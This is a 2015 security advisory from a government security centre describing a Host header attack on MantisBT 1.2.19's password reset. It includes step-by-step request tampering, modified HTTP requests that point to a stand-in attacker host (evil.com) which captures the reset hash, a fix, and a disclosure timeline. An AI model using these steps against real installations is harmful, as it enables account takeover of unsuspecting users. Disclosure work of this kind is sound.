# Exploit Title: MantisBT 1.2.19 - Host header attack vulnerability
# Date: 07-09-2015
# Exploit Author: Pier-Luc Maltais
Centre opérationnel de sécurité informatique gouvernemental (COSIG)
# Vendor Homepage: https://www.mantisbt.org/
# Software Link: http://sourceforge.net/projects/mantisbt/files/mantis-stable/
# Version: 1.2.19
# Contact: https://twitter.com/plmaltais
http://plmsecurity.net/mantis_host_header_attack
==========================
Vulnerability Description:
==========================
MantisBT 1.2.19 is vulnerable to an Host header attack that can
be exploited by an unauthenticated user to hijack another user account.
==================
Technical Details:
==================
This exploit use the Host header attack to poison the link in the
password reset mail. You need to know the victim username and
e-mail. You also need a remote host that you control to catch the
verification hash needed for password reset.
1. Access the password reset feature and fill the form with the
victim username and e-mail.
http://{VULNERABLE_MANTIS}/mantisbt/lost_pwd_page.php
2. Using an intercepting proxy like Burp, change the Host header
with your evil host.
Original request :
POST /mantisbt/lost_pwd_page.php HTTP/1.1
Host : {VULNERABLE_MANTIS}
[...]
Modified request :
POST /mantisbt/lost_pwd_page.php HTTP/1.1
Host : evil.com
[...]
3. When the user receive the e-mail, the link is poisoned with
the evil host.
[...]
visit the following URL to change your password:
http://evil.com/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead
[...]
4. Now, when the victim click on the link to reset his password,
his verification hash will be sent to our evil host. All we
have to do is access the verify.php page with his hash, so
we can change his password and hijack his account.
http://{VULNERABLE_MANTIS}/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead
=========
Solution:
=========
Use
$_SERVER['SERVER_NAME'] (server controlled)
instead of
$_SERVER['HTTP_HOST'] (client controlled)
====================
Disclosure Timeline:
====================
16/02/2015 - Found the vulnerability
17/02/2015 - Wrote this advisory
17/02/2015 - Contacted developers on MantisBT forum
18/02/2015 - Opened an issue in the bug tracker
01/09/2015 - Still not patched, releasing this advisory.
===========
References:
===========
[1] http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
[2] http://stackoverflow.com/questions/2297403/http-host-vs-server-name/2297421#2297421